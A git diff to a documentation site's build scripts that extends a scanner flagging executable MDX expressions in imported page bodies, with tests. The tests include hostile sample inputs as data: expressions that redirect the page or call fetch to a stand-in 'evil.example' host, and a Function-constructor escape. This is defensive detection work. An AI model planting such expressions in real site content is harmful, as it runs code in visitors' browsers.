diff --git a/scripts/lib/mdx-active-content.mjs b/scripts/lib/mdx-active-content.mjs
index 9b615f3a..7ed0ea44 100644
--- a/scripts/lib/mdx-active-content.mjs
+++ b/scripts/lib/mdx-active-content.mjs
@@ -8,6 +8,12 @@
* helper reports the constructs that can execute or load remote code so a
* validator can fail the build before such a body ships.
*
+ * MDX evaluates a braced expression as JavaScript, so `{fetch(...)}` in an
+ * imported body is live code and not prose; every `{` is therefore a finding
+ * unless it is one of the inert string-literal attributes the importer emits
+ * itself. The check is deliberately fail-closed: literal braces in upstream
+ * prose are reported rather than assumed harmless.
+ *
* Scheme detection normalizes each line before testing it, because CommonMark
* decodes character references in a link destination: `javascript:` is a
* live `javascript:` href by the time the page renders.
@@ -36,6 +42,24 @@ const ALLOWED_COMPONENT = 'CNCFProjectCard';
const ALLOWED_IMPORT =
"import CNCFProjectCard from '@site/src/components/CNCFProjectCard';";
+/**
+ * The one expression form the importer itself emits: an attribute whose value
+ * is a single JSON string literal, as produced by `jsxAttribute`
+ * (`scripts/lib/jsx-attributes.mjs`). The pattern requires the closing brace
+ * to follow the closing quote immediately, so the braces can enclose nothing
+ * but the literal -- `{"a" + fetch(x)}` does not match. An expression whose
+ * entire body is a string literal evaluates to that string and has no call,
+ * member access or identifier reference available to it, so it is inert
+ * wherever it appears.
+ */
+const ALLOWED_ATTRIBUTE_EXPRESSION =
+ /(?<=\s)[A-Za-z_$][A-Za-z0-9_$-]*=\{"(?:[^"\\]|\\.)*"\}/g;
+
+/**
+ * Any remaining `{` opens an MDX expression, which is evaluated JavaScript.
+ */
+const EXPRESSION_PATTERN = /\{/;
+
const ELEMENT_PATTERN = /<\/?([A-Za-z][A-Za-z0-9._-]*)/g;
const EVENT_HANDLER_PATTERN = /\bon[a-z]{3,}\s*=/gi;
const DANGEROUS_URL_PATTERN = /(?:javascript|vbscript):|data:text\/html/gi;
@@ -227,6 +251,22 @@ function blankInlineSpans(text) {
return result;
}
+/**
+ * Neutralize the braces of the importer's own attribute expressions so the
+ * expression scan does not flag generated markup. Only the `{` and `}`
+ * characters are replaced, by a space each: the quoted value between them is
+ * left in place so the scheme, handler and element scans still read it, and
+ * the line keeps its length so findings keep accurate line numbers.
+ *
+ * @param {string} text
+ * @returns {string}
+ */
+function blankAllowedExpressions(text) {
+ return text.replace(ALLOWED_ATTRIBUTE_EXPRESSION, (match) =>
+ match.replace(/[{}]/g, ' '),
+ );
+}
+
/**
* Scans a Markdown/MDX body for content that executes or loads remote code.
*
@@ -236,7 +276,9 @@ function blankInlineSpans(text) {
*/
export function findActiveContent(markdown) {
const findings = [];
- const scannable = blankCodeSpans(String(markdown ?? ''));
+ const scannable = blankAllowedExpressions(
+ blankCodeSpans(String(markdown ?? '')),
+ );
const lines = scannable.split('\n');
lines.forEach((line, index) => {
@@ -281,6 +323,13 @@ export function findActiveContent(markdown) {
reason: 'unexpected ESM statement',
snippet,
});
+
+ if (EXPRESSION_PATTERN.test(line))
+ findings.push({
+ line: number,
+ reason: 'MDX expression',
+ snippet,
+ });
});
const seen = new Set();
diff --git a/tests/mdx-active-content.test.mjs b/tests/mdx-active-content.test.mjs
index 6d8c76b4..89d03d1c 100644
--- a/tests/mdx-active-content.test.mjs
+++ b/tests/mdx-active-content.test.mjs
@@ -125,9 +125,11 @@ test('reports a live element hidden by a mismatched backtick run, not a code spa
'disallowed element `'), []);
@@ -233,3 +235,63 @@ test('leaves an unrecognized named entity literal rather than dropping it', () =
'script-capable URL scheme',
]);
});
+
+test('flags an MDX expression, which Docusaurus compiles to executable JavaScript', () => {
+ assert.deepEqual(
+ reasons('{(() => { document.location = "https://evil.example"; })()}'),
+ ['MDX expression'],
+ );
+ assert.deepEqual(
+ reasons('Body {globalThis.fetch("https://evil.example")}.'),
+ ['MDX expression'],
+ );
+ assert.deepEqual(reasons('{[].constructor.constructor("return 1")()}'), [
+ 'MDX expression',
+ ]);
+});
+
+test('flags the opening line of an expression that spans several lines', () => {
+ const body = ['{(() => {', ' fetch("https://evil.example");', '})()}'].join(
+ '\n',
+ );
+ assert.deepEqual(findActiveContent(body), [
+ {
+ line: 1,
+ reason: 'MDX expression',
+ snippet: '{(() => {',
+ },
+ ]);
+});
+
+test('accepts the string-literal attribute expressions the importer emits', () => {
+ const card =
+ ' ';
+ assert.deepEqual(findActiveContent(card), []);
+});
+
+test('flags an attribute expression that is more than a string literal', () => {
+ assert.deepEqual(
+ reasons(''),
+ ['MDX expression'],
+ );
+ assert.deepEqual(reasons(''), [
+ 'MDX expression',
+ ]);
+});
+
+test('still scans the value inside an allowed attribute expression', () => {
+ // Only the braces are neutralized, so a script URI smuggled into a prop
+ // value is still reported rather than hidden by the allowance.
+ assert.deepEqual(
+ reasons(''),
+ ['script-capable URL scheme'],
+ );
+});
+
+test('does not flag braces inside code, which MDX does not evaluate', () => {
+ assert.deepEqual(reasons('Run `kubectl get pods -o {.items}` to list.'), []);
+ assert.deepEqual(
+ reasons(['```json', '{ "replicas": 3 }', '```'].join('\n')),
+ [],
+ );
+});